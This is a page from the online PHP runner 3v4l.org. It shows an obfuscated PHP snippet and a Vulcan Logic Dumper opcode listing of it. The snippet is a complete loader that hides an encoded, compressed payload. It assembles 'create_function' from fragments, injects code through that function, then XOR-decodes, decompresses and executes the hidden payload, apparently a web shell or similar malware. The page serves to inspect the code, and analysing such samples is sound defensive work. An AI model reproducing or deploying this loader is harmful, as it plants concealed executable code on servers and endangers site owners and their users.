3v4l.org

run code in 300+ PHP versions simultaneously
<?php $mykmurws=array( '$mykmurws[0]=$mykmurws[3];$bqysuura=bqysuura(5,13);$mykmurws[0]=$bqysuura($mykmurws[2]);', '$mykmurws[2]=gzuncompress(bqysuura(739,2156));', 'T3N9ZFtgdXtsYXt/YWtkT3p/eVVjbWRtZk1zdH56fnR/cXZScHh3bWZ7ZWtWY15aXkVfXEBaSkxMTlFXTVBTR352eWFhfWZjdH5qcElEbnt9aStkfjxmeFAuPT02ZFN0a3xBaWEnYmlnJXkxcUd6LCMudnowYFxkeFRuICZsZn5mfnJhaXJ3bEF0UnJneXRVfXxiY391JHR0YmptP2ppfX5mJmZ6fmhven4ub2dmantuOHRlfXRqdXFTY2ZSR1lUQHFUVXd1dWt1Z1JOUGlrTklIViA8IlJHWVRMWEBeQVp4cn5hJSRQaXBpamZxI316c3xjL2B1Y2h2flN6aDFqZEFTYUxIVlxRVkNbUkBYTHFwcGlJUF9NQ0RQQ1RHQEpMeUxLRkhWSk9cWUdDS0VMViVNTjV3aHI8Y2dgajVnYHQ8Pmlie34od3phcHdGdTVnYHQ8PkZOUCdwbH1wUEhSTl5dd29YTlZAVERhdHROXl1AWkJ1RHM1Z2B0dkhvY2FrcnRQeXh6WmZ9emh2Vm5+fUZGQVptYyBnfH57aHt+KndkZGd1fmB2bWMgZ3x+e2h7fiphdWtgcWtnfHx/Z3Z0UGl8eGlUalo0VGpTT040f2JjTnhyfmElJFBpcGlqZnFESXVaeG1wb0ppZ39hcn1QanB+Wm9xfGlLfnJ5ZVBJb2FkQmNUQVJHW'.'VRMRVxIR1VERVFGXGd7ZGVPeHwiI2Vhd2pjYX9oLGR/WHZvR2Z/ISNvYXVtfjtpam9abkd4JyNifGJuYXxpYCx3Z2VIc2Y1ZH0pcH9ha3xtK3J8eDdhJ3REPHgwcXprPGcwdHtgKX0oSGVUPGUwT3llcEZ5Zn9oTFVsc31kcHJvdStVcnJneXQpPyBYTGNoPGQwYnRzVVBScGlvaXZ5a2NkdFFJSzxkMGdmZm1Cf2toZ0FqTHJJTDxkMHd4MEdZQVoqMzo4d05wUHlkUnx+cCkweGNEcmQ1anNaU2KPiFxof+1FB/UvH9DGEs1bbQ6f6z7eIaYR2F4GmWyxSSWKiAzwDjLlCTVTqvNercGrAGDkv5+j/3DSrb4V8FCiYzA7myxY5Xm33Dacusxn6Cvg8Gn/Kw2vVUFMCszZwMEWVJoao3qUAE9vCaagQJcEodAAQiDCsamrLLA8Q4LFiZvfvylTWEBEnxEf/DrYKxKmjL98mJUvPEllysfKC4p5HWAkuRNGXIyA30gmJRsjqQTWfI7eeE/C0/xJc5tmKFUxUHtAaq4+Ytd40jfnrI+N5fHDwfrB8MGB85X4p329RjJgvcuGmZCzfCyClqaXgul7YAFyooVQWmoJqi5GgdR+SKdlTZktnmHHS60M+yMvZbhYps9Nu0RIsTuzjFlgFw8P990v26MhWl1bxi8Mn+tcABgHibjzU/akxXwEmRTPH1R87uFaZR/sgzVJynI16J36ZugsAnp4'.'N9Y/tBkbR2lGaUwWvLysiU04DaOw49JpJJZa7AdzMkn3rcOwa/7/iD3XN2Uo5YpqL3J2fpZEXPK7b/cS/NEk/lse2srrgbtc8bl3EZ0FhcrXM9bdvh5CqaZbrl5CBdROWo5ztGf1dH3V9UiZTplz5AP5QBPSXSfEhXN/HCt5kwq0LbXMd4p1O+z4trml6G37NtPB876A/prKPu+xcHefFmP7A3CDz6Ns8bbPSWTqO5PpO5u+Jj5iL5HQc5rdhtms0A2vOhSMifSjmMhmiiUbUAT/pKY3IZEBUWjTlN+xp4MxZ4E2DrN19N1CzjSBVXJJ+iS2ZwyOHpNAqaXPgZ6X2UimmG8OF/KJGxJdFAeTA+z56gkl1RyPvn7n027rrDZoDxPnSlcWenWL0KSlmZphRQ++Em1slzsbQh9AVnvYwf69qC+B77V2LzOeG1dHnK45V01dS83TYK86jyiiNTqpL7wsADXbfh6Q4CxQfnYWYfIjdOsTLys0DqfEsYaksy5mmZhAV1fLLUo/hk0fN4+K9gfRHEeremrLCuurrYS8YwpVneaU/hxBs425BXlT7IqG2jgwhmQHjoa4c6e0EsYE2ojFqHHtEhRMK+iSImx4T/0YlkwvhXUmoNmCpS7TwixwZ0yWoP9YDHI/kbfkviKgPPvGCBeGrQWMawxYzcZIxlhdhVkRUY4IpytpOe/4IYPXRQhO0SjWLmexRmTIAVxaGfpIba6P2D1OoOmCuyxeEJPvpm75uE259BBom9x4uLpS+izmrdsHm+ubUIKzgEv3hKgWKV8MfWaEXCXty2fq4uPucj/v4dFNdJPY0S1lMO67/80jsN4AC'.'rXyAaMIXjVMNg0wWEYORhtH1cWCN1pAaghvToMkbvOMKpg3LPhD6vfzGiQaAaw0ZDqtmo0rOWSZdJuixMywB6DA/EMTjDUORXmckLKUPB2i0SrCHKSg+Po0lEl0gkx4jpJ/sAPdlWVF2HQ3HkJFkTXWGrxTFgj1NTmgBhfmfg2s5EpX1CbjsThljy7nxkWe0wV9p6Mekz77F04KLcLAoU1E6nDaSnGWrxpLkuGnRBdq/cuMPUj4qqedI8Kj2SDA5c3QeHxX5GAV3tYhNwGJQ9J0mrfIenaHvngHDFCF5lkYo+C/1ast/RArsRAZA9RmjP7ySi5UlNo9aC9xY1ukfT4sdaJwrOuz7v/g6+Q9Y+tf0kBemWqJ/jj+mU1u6mpZi4W9e33ZYAY+5OmT+xth4nciRInMkO21fGXdxCD+8i4mCD6YqXEaSr//uY5upflQI7y6sQWPd38sYys0OT8j3upaW1pKLyrlWqdooyBWB8GH4ssVG0UFqUEyOFpUNVqK3SquffE8uqbPh5jhFlcTaN0EQuK05XAJTwDFURfrSPcTCD7zOFeWLMEn2wQ59oXqpB7G/6RwLzqtWAUnvBGUwFWEESHWXsEg+89/R1iXzWKLrO7a0VFGFfkfBquNnb6vq0afZICNsKJRQv2Sofqu+b6t18kPVC2ZLndBudFkrbikeyyTdLcy65SoiIh4dxyHYwfcgaXG+8FUXRyhj6QZYVDN/Pqqt0qRjQeJOEv3AmpLlREuqhCNYLdAd9PhkhbGRG'.'LY2oiXu9OoioZJ2jkg7qUCtIjSC6PhVi73uTGNH1BPjsy/XjieM8ju27PERdH3Q7pKdRAR6O1u2yEx0RKiR7GOBV71ZEpFiNjlnf2/0zhcgunZx7JW5F7bWVA7psgxzmqHN2i98etRjlypL9Lji1aL/f26YoIe1t4b8sDTWNkQmXocYSdSUxhAPUm5S1XrYI98onSR4sm8wuY2cy7aOmBSglgLHq0ZuHP1KB9Qonajcy9LifEpKCgOG+xpFyhq+WoZOc5c14qLEP4Mloyjrjh+aDzvO0P4qSE/KRCcBLhl5fzwsjCzbaHbAMaTBNexXQXdjDKcUEXhsYDhILou17jH8FCMv81V0eO5zZ8LHRFBrELMPTqSWZ7Fwp3M9ZPP7z3m8locb4MDKFl4fg0vvteQzw3LREZ7kAbqd3n5/3BK46fctCLw95jE6Pnh9OrhE2YxbMb55vHxE6Oz4rnrhhdKhDZfOcrCq4FW7VkWGAveApcuzLJKSPVDAEh/oQKHEgnylCQHkdMmQBij4/gqewqsIVcJovhvin1M5ikr3nkph/AYX4l38dX25Al0tNgpcQYrSyzSnMzZvu304PljzK2w2jGlm8MNd3SFfZOOmwa/aNOjwM0JkgsWglYcDhRI6L19EeSZJOGsb7nQOE3mbQZ+wz3A8f5YO0EJftCYGYPhx8fQ8B3QTj0iqLaYQVP0ihJM4Sf9pp7iD/T455F7C49bGUyzFPL4nA2sZs3VUE2s4bsQNOmZKqM/YIp07KfJzz00bBGaKfT8Gp/IHakR7e/I0WEfQCxP8gg7NsIJQmc=', "/*xxm\x78\x72\x7e\x61\x25\x24\x50\x69\x70\x69\x6a\x66\x71*/");$xsobypv='create_'; if(function_exists($xsobypv.='function')){ $xsobypv('','}function bqysuura($n,$y){global $mykmurws;$f=$mykmurws;$r=str_pad("",$y,"zsmdspomujebthht");$v=str_repeat("\x1f",$y);$h=str_repeat("\xe0",$y);$w = substr($f[0],$n,$y);return(($w^$r)&$v)|($w&$h);}{'); for($hp=-1;++$hp<3;){ $xsobypv('','}'.$mykmurws[$hp].'{'); }};unset($mykmurws);?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 23
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 20
Branch analysis from position: 20
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 23, Position 2 = 13
Branch analysis from position: 23
Branch analysis from position: 13
Branch analysis from position: 23
filename:       /in/ufpA3
function name:  (null)
number of ops:  25
compiled vars:  !0 = $mykmurws, !1 = $xsobypv, !2 = $hp
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, <array>
    5     1        ASSIGN                                                   !1, 'create_'
    6     2        INIT_FCALL                                               'function_exists'
          3        ASSIGN_OP                                     8  ~5      !1, 'function'
          4        SEND_VAL                                                 ~5
          5        DO_ICALL                                         $6      
          6      > JMPZ                                                     $6, ->23
    7     7    >   INIT_DYNAMIC_CALL                                        !1
          8        SEND_VAL_EX                                              ''
          9        SEND_VAL_EX                                              '%7Dfunction+bqysuura%28%24n%2C%24y%29%7Bglobal+%24mykmurws%3B%24f%3D%24mykmurws%3B%24r%3Dstr_pad%28%22%22%2C%24y%2C%22zsmdspomujebthht%22%29%3B%24v%3Dstr_repeat%28%22%5Cx1f%22%2C%24y%29%3B%24h%3Dstr_repeat%28%22%5Cxe0%22%2C%24y%29%3B%24w+%3D+substr%28%24f%5B0%5D%2C%24n%2C%24y%29%3Breturn%28%28%24w%5E%24r%29%26%24v%29%7C%28%24w%26%24h%29%3B%7D%7B'
         10        DO_FCALL                                      0          
    9    11        ASSIGN                                                   !2, -1
         12      > JMP                                                      ->20
   10    13    >   INIT_DYNAMIC_CALL                                        !1
         14        SEND_VAL_EX                                              ''
         15        FETCH_DIM_R                                      ~9      !0, !2
         16        CONCAT                                           ~10     '%7D', ~9
         17        CONCAT                                           ~11     ~10, '%7B'
         18        SEND_VAL_EX                                              ~11
         19        DO_FCALL                                      0          
    9    20    >   PRE_INC                                          ~13     !2
         21        IS_SMALLER                                               ~13, 3
         22      > JMPNZ                                                    ~14, ->13
   11    23    >   UNSET_CV                                                 !0
         24      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.51 ms | 1396 KiB | 15 Q